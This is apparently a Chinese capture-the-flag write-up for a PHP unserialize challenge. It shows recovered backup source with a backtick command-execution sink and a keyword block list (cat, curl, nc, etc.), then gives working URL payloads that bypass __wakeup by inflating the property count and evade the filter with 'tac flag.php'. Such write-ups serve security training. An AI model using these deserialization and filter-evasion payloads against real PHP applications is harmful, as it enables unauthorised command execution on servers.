打开来查看源代码发现提示
YmFja3Vwcw==
base64解码后得到:backups
扫描一下网站
在index.php.bak找到备份文件
<?php
header("Content-Type: text/html;charset=utf-8");
error_reporting(0);
echo "<!-- YmFja3Vwcw== -->";
class ctf
{
protected $username = 'hack';
protected $cmd = 'NULL';
public function __construct($username,$cmd)
{
$this->username = $username;
$this->cmd = $cmd;
}
function __wakeup()
{
$this->username = 'guest';
}
function __destruct()
{
if(preg_match("/cat|more|tail|less|head|curl|nc|strings|sort|echo/i", $this->cmd))
{
exit('</br>flag能让你这么容易拿到吗?<br>');
}
if ($this->username === 'admin')
{
// echo "<br>right!<br>";
$a = `$this->cmd`;
var_dump($a);
}else
{
echo "</br>给你个安慰奖吧,hhh!</br>";
die();
}
}
}
$select = $_GET['code'];
$res=unserialize(@$select);
?>
代码审计题:
这题对$select
进行了反序列化,我们要构造code的序列化,来得到flag
我们要传入两个参数
protected $username = 'hack';
protected $cmd = 'NULL';
username
等于admin
,而cmd
等于ls
同时,protected
属性序列化的时候属性值会变成:%00*%00,在正常的输出中会看不见,但是转换成url的解码,就看得很清晰了。
在反序列化过程中,题目unserialize(@$select)
在运行时,会先进行__wakeup()
的运行,我们只需要改变变量个数修改为大于实际值的数就能够绕过。
修改前
?code=O:3:"ctf":2:{s:11:"*username";s:5:"admin";s:6:"*cmd";s:2:"ls";}
修改后得到
?code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:2:"ls";}
题目中过滤了很多字符,但是没有过滤tac。
我们利用tac flag.php
一样可以达到查看flag的功能
和上面一样构造payload得到flag
?code=O:3:"ctf":3:{s:11:"%00*%00username";s:5:"admin";s:6:"%00*%00cmd";s:12:"tac+flag.php";}